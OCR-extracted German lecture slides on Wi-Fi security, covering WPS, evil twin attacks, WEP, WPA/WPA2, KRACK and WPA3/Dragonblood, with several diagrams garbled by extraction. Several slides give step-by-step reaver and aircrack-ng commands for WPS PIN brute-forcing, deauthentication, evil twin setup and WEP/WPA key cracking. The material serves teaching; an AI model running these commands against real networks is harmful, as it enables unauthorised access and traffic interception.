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* Immer mehr WLAN-fahige Gerate
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Drahtlose Kommunikation

 Unterschiedliche Angriffsvektoren




WLAN Standard

« IEEE802.11 (~3500 Seiten)
- SSID, BSSID, Channels, Frequenzen, Protokolle
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Wi-Fi Protected Setup (WPS)

 Einfache Moglichkeit um Netzwerk beizutreten

1.PIN
2.Push button
3.NFC
4.USB

PIN Bruteforce innerhalb von Stunden moglich
Gerat muss physisch abgesichert sein
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Standardeinstellungen

« WPS teilweise noch ..
standardmaRig aktiviert L

 Oft Standardpassworter
- Lassen sich teils berechnen

Unsupported

D2361A

Arcalnet_EXT
O/ 1D:B8:D2
HP-Print-52-Deskjet 3520 seri
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Reaver - WPS Cracker

WLANs mit aktiviertem WPS finden (Monitor mode muss aktiv sein):

wash -i {interface}

Bruteforce PIN:

reaver -i {interface} -c {Channel} -b {BSSID} -v




Evil Twin

 Spezielle Antennen / Starkes Signal
 Deauthentication
« Channel Switch Announcement (CSA)

2. Connect to - SS1D:
“ ey SS1D: ; o
Public WiFi Public WiFi Public Wiki
-, ((9))
. ¢ y B ¢ y (@)
. = 3. MiTM Al 3 NITM
— o0g13 —_—
1. deauth Original
Victim Attacker - deaut Router
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« Sammlung von Tools zum Analysieren
und Ausnutzen von WLANSs, z.B.:

aireplay-ng Einschleusen von Paketen
: Berechnen von WEP- und WPA-
BRIk Schlusseln (Bruteforce/Dictionary)
airodump-ng Packet-Sniffer
airbase-ng Simulieren eines Access-Points
S Entschllsseln von Paketen mit
P-Ng vorhandenem Schltssel
airmon-ng Monitor-Mode aktivieren/deaktivieren
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Evil Twin mit Aircrack-ng

1. Monitor-Mode starten

airmon-ng check [kill]
airmon-ng start {interface}

2. BSSID und evt. Client MAC herausfinden

airodump-ng {interface}
airodump-ng -c {channel} --bssid {bssid} {interface}

3. Deauthenticaten (Broadcast oder Client)
aireplay-ng --deauth 0 -a {bssid} [-c {client}] {interface}

4. Evil Twin aufsetzen

airbase-ng -e {SSID} -c {channel} {interface}




Wired Equivalent Privacy (WEP)

 Erster ,,Sicherheits“-Standard fur WLANs (1997)
 Authentifizierung uber Challenge-Response

1. Authentication Request

2. Authentication Response (Challenge) -
< 000000
3. Authentication Request (Encrypted Challenge)
™ Access Point

Station 4. Authentication Response (Success
WEP ket tosuzn | P E ) WEP Key 123456
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Wired Equivalent Privacy (WEP)

e K: 40 oder 104 Bit
 |V: 24 Bit

¥ IV N
Initialisierungs-
vektor IV - Kevstream
+ RC4 4
) =RC4(IV+K)
WEP Schlissel K —» —
Ciphertext
XOR —»
—»
Nachricht M - —
ICV+M
+
CRC
Algorlthmus
.. v
Nachricht
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WEP: Schwachstellen

« Zu wenige IVs

* IV-Wahl undefiniert

* Ineffizienter Integritatscheck
 Schlechtes Schlusselmanagment
* Kleiner Schlusselraum

« Schwacher Algorithmus
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WEP: Cracking

1. WEP-Traffic aufzeichnen

airodump-ng -w {file} -c {channel} --bssid {bssid} {interface}

la. Traffic erzeugen fur mehr 1Vs
aireplay-ng --arpreplay -b {bssid} -h {source} {interface}

2. Schlussel berechnen

aircrack-ng {file}.cap

3. Traffic decrypten (hex. key)

airdecap-ng -b {bssid} -w {wep-key} {file}.cap




Wi-Fi Protected Access (WPA)

 Veroffentlicht: 2003
. ,,Ubergangslosung fir WEP“

 Verbesserungen:

- Authentifizierung (PSK / EAP)

- Temporal Key Integrity Protocol (TKIP)

- 48-Bit IV, per-packet key mixing, Re-Keying, etc.
- Message Integrity Check (MIC)
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WPA: Schwachstellen

 TKIP unsicher
« RC4 immernoch im Einsatz
 PSK oft schlecht gewahlt




WPA: Cracking

1. Traffic aufzeichnen

airodump-ng -c {channel} --bssid {bssid} -w {file} {interface}

2. Deauthenticaten um Handshake zu erzwingen

aireplay-ng --deauth 0 -a {bssid} [-c {client}] {interface}

3. PSK cracken

aircrack-ng -w {password-list} {file}.cap

4. Traffic decrypten
airdecap-ng -e {SSID} -p {password} {file}.cap
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« 2004 Veroffentlicht, war , sicher” fur ca. ~14 Jahre

« Mehrere mathematische Beweise fur Handshake und
Encryption

 Verbesserungen:

- Counter Mode Cipher Block Chaining Message Authentication Code
Protocol (CCMP) anstatt TKIP

- AES-GCM (CTR + CBC-MAC) statt RC4 und MIC/ICV
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WPA: 4-way handshake

PTK: Pairwise Transient Key ANonce: Access Point ,Number used Once*
GTK: Group Temporal Key = SNonce: Supplicant ,Number used Once*

4-way handshake (simplified)

= Koo o oo optional 802.1x authentication - - - - - - >
D PP'ISgl(I', ANonce) é
. (Derive PTK |
Lo Msg2(r, SNonce) x
) Msg3(r+1; GTK) (Derive PTK]
Msg4(r+1) x
(Install PTK & GTK (Install PTK |

4

>

- 'Ff’m-r_‘f;}r’{*ce' data framesfcan now be exchanged - - 9‘



KRACK: Key Reinstallation AttaCK (1)

Reinstallation Attack 38

— |
- — - ——— - optional 802.1x authentication - - - - - - - =
o Msg1(r, ANonce) Msg1(r, ANonce) é

Msg2(r, SNonce) Msg2(r, SNonce)
Msg3(r+1; GTK) Msg3(r+1; GTK)
Msga(r+]) Block Msg4
Install PTK & GTK |
|
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KRACK: Key Reinstallation AttaCK (2)

Reinstallation Attack

e

Msg4(r+1) J
Install PTK & GTK) é
-

Msg3(r+2; GTK) Msg3(r+2; GTK)
Enc}lﬁk{ Msg4(r+2) }

N

N
e

N

Reinstall PTK & GTK]

Enc 113 oA Data(...) } Enclljtk{ Data(...) }
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KRACK: Key Reinstallation AttaCK (3)

Reinstallation Attack ﬂ
= |

Install PTK & GTK ) 1 é
2 Keystream
. GTK)

Msg3(r Msg3(r+2; GTK)
Enc;tk{ Msgd(r+2) }

oy

Reinstall PTK & GTK]

N

2w Decrypted!
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KRACK: Fragen & Misverstandnisse (1)

+ ,Einseitiges Updaten ausreichend (nur Client
oder nur AP)“:

- Falsch, da beide Seiten angegriffen werden konnen, je
nach Handshake

« ., Man muss in Reichweite des Access Points
sein“

- Falsch, Angriff moglich mit spezielle Antennen aus einer
Entfernung von mehreren Kilometern

 ,Keine wertvollen Daten nach dem Handshake*

- Deauthenticaten, Client buffert z.B. HTTP-Request und
sendet, direkt beim Wiederherstellen der Verbindung
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KRACK: Fragen & Misverstandnisse (2)

e ~MitM schwer zu erreichen*:

- Starkes Signal oder Channel-Switch-Annoucement
ausreichend

- »,Angriffskomplexitat ist hoch“

- Richtig, aber: Angriffsskript muss nur einmal
geschrieben werden

* ,CCMP und Enterprise verringert den
Schaden”

- Falsch, sowohl PSK als auch Enterprise Netzwerke
betroffen. CCMP verhindert aulSerdem nur das
Erzeugen von Paketen, nicht das Blockieren/Replayen
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WPA3: Neuer Standard

« 2018 veroffentlicht

* Viele Verbesserungen, darunter:
- WPA3-OWE
- WPA3-SAE
- WPA3-Enterprise
- DPP

ﬂ



Opportunistic Wireless Encrpytion (OWE)

* Verschlusselung fur Offene Netze
* Diffie-Hellman Schlusselaustausch
* Verschlusselung verpflichtend

* Protected Managment Frames

* Nachteil:
- Man muss dem AP vertrauen

ﬂ



Simultaneous Authentication of Equals (SAE)

« ,Ersatz” fur WPA2-PSK
* Protected Managment Frames

- Dragonfly Handshake:

- Sowohl Client als auch AP konnen Handshake
INnitiieren

- Keine passiven/offline Attacken moglich

- Perfect Forward Secrecy
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WPA3-Enterprise

- Kaum neue Anderungen
 Starkere Crypto

 Mehr Clientseitige Certificate-Chain
Checks




Device Provisioning Protocol (DDP)

« Ersatz fur WPS

* Gerate konnen sich verbinden durch:

- NFC
- QR-Code scannen




Dragonblood-Attack

 ,Dragonfly Handshake* hatte mehrere
Lucken, wurden aber bereits
geschlossen

- DoS
- Downgrade Attacks
- Side-Channel Information Leakage
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Noch Fragen?
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